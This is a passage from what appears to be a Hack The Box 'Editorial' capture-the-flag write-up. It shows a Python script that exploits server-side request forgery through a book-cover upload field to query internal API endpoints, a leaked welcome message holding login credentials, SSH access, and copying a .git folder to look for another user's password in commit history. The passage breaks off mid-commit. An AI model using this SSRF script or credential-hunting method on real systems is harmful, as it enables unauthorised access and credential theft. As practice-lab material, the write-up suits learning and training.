&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;new_authors&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Retrieve the welcome message sended to our new authors.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;/api/latest/metadata/messages/authors&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;platform_use&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Retrieve examples of how to use the platform.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;/api/latest/metadata/messages/how_to_use_platform&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;version&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;changelog&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Retrieve a list of all the versions and updates of the api.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;/api/latest/metadata/changelog&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;latest&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;description&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Retrieve the last version of api.&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;endpoint&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;/api/latest/metadata&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;methods&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;GET&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So again for testing these, I modified the python script and gave these endpoints as payload.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">requests&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">concurrent.futures&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">ThreadPoolExecutor&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">send_post_request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">headers&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;User-Agent&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Content-Type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;multipart/form-data; boundary=----WebKitFormBoundaryvIPoEJ6n4oiC1JWi&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;*/*&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Origin&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;http://editorial.htb&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Referer&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;http://editorial.htb/upload&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept-Encoding&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;gzip, deflate&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept-Language&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;en-GB,en;q=0.9&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;------WebKitFormBoundaryvIPoEJ6n4oiC1JWi&lt;/span>&lt;span class="se">\r\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Content-Disposition: form-data; name=&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">bookurl&lt;/span>&lt;span class="se">\&amp;#34;\r\n\r\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;http://127.0.0.1:5000&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\r\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;------WebKitFormBoundaryvIPoEJ6n4oiC1JWi&lt;/span>&lt;span class="se">\r\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Content-Disposition: form-data; name=&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">bookfile&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">; filename=&lt;/span>&lt;span class="se">\&amp;#34;\&amp;#34;\r\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Content-Type: application/octet-stream&lt;/span>&lt;span class="se">\r\n\r\n\r\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;------WebKitFormBoundaryvIPoEJ6n4oiC1JWi--&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">requests&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">post&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;http://editorial.htb/upload-cover&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">headers&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">headers&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">url&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">text&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">send_get_request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">headers&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;User-Agent&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Referer&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;http://editorial.htb/upload&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept-Encoding&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;gzip, deflate&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Accept-Language&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;en-GB,en;q=0.9&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">requests&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;http://editorial.htb/&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">headers&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">headers&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">text&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">process_url&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">initial_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">post_response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">send_post_request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">post_response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">endswith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;.jpeg&amp;#39;&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">initial_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">post_response&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">get_response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">send_get_request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">post_response&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">initial_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">post_response&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">get_response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;endpoints.txt&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;r&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">urls&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">line&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">file&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="n">ThreadPoolExecutor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">max_workers&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">executor&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">futures&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">executor&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">submit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">process_url&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">url&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">url&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">urls&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">future&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">futures&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">initial_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">post_response&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">get_response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">future&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Initial Path: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">initial_path&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Post Response: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">post_response&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">get_response&lt;/span> &lt;span class="ow">is&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="kc">None&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Get Response: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">get_response&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;No GET request made (post response ends with .jpeg)&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Error: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Out of all the responses, one endpoint gave me some creds,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;template_mail_message&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Welcome to the team! We are thrilled to have you on board and can&amp;#39;t wait to see the incredible content you&amp;#39;ll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: $PASS$\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon&amp;#39;t hesitate to reach out if you have any questions or ideas - we&amp;#39;re always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now there was no login page on the website,(did not find any after directory busting!!!). So only path is ssh now. I tried these creds, and yess got the shell as &lt;code>dev&lt;/code> user!!!&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/dev.png"
width="2848"
height="172"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/dev_hubd74fa89ad84a6f52b92e2dc727a7b4a_45161_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/editorial/dev_hubd74fa89ad84a6f52b92e2dc727a7b4a_45161_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="1655"
data-flex-basis="3973px"
>&lt;/p>
&lt;!-- -------------------------------------------------------------- -->
&lt;p>Now I checked for sudo rights, dead end, then crontab, capabilities, suid binaries, all dead end!!!😔
Then I looked up all available users. Found out there was another &lt;code>prod&lt;/code> user. Now I need some way to login as &lt;code>prod&lt;/code> user. Looking my current folder, I saw an &lt;code>apps&lt;/code> directory. It has &lt;code>.git&lt;/code> folder in it, so it&amp;rsquo;s time to enumerate git. I copied the git folder to my pc using &lt;code>scp&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">scp&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">r&lt;/span> &lt;span class="n">dev&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">editorial.htb&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">home&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">dev&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">apps&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">git&lt;/span> &lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I saw if there are any commits are made, there were some, So I looked at the individual commit one by one, to discover, yes you guessed it right, &lt;code>prod&lt;/code> user&amp;rsquo;s creds🎉.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">git&lt;/span> &lt;span class="n">show&lt;/span> &lt;span class="n">b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">commit&lt;/span> &lt;span class="n">b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Author&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">dev&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">carlos.valderrama&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">dev&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">carlos.valderrama&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">tiempoarriba.htb&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Sun&lt;/span> &lt;span class="n">Apr&lt;/span> &lt;span class="mi">30&lt;/span> &lt;span class="mi">20&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">55&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">08&lt;/span> &lt;span class="mi">2023&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">0500&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
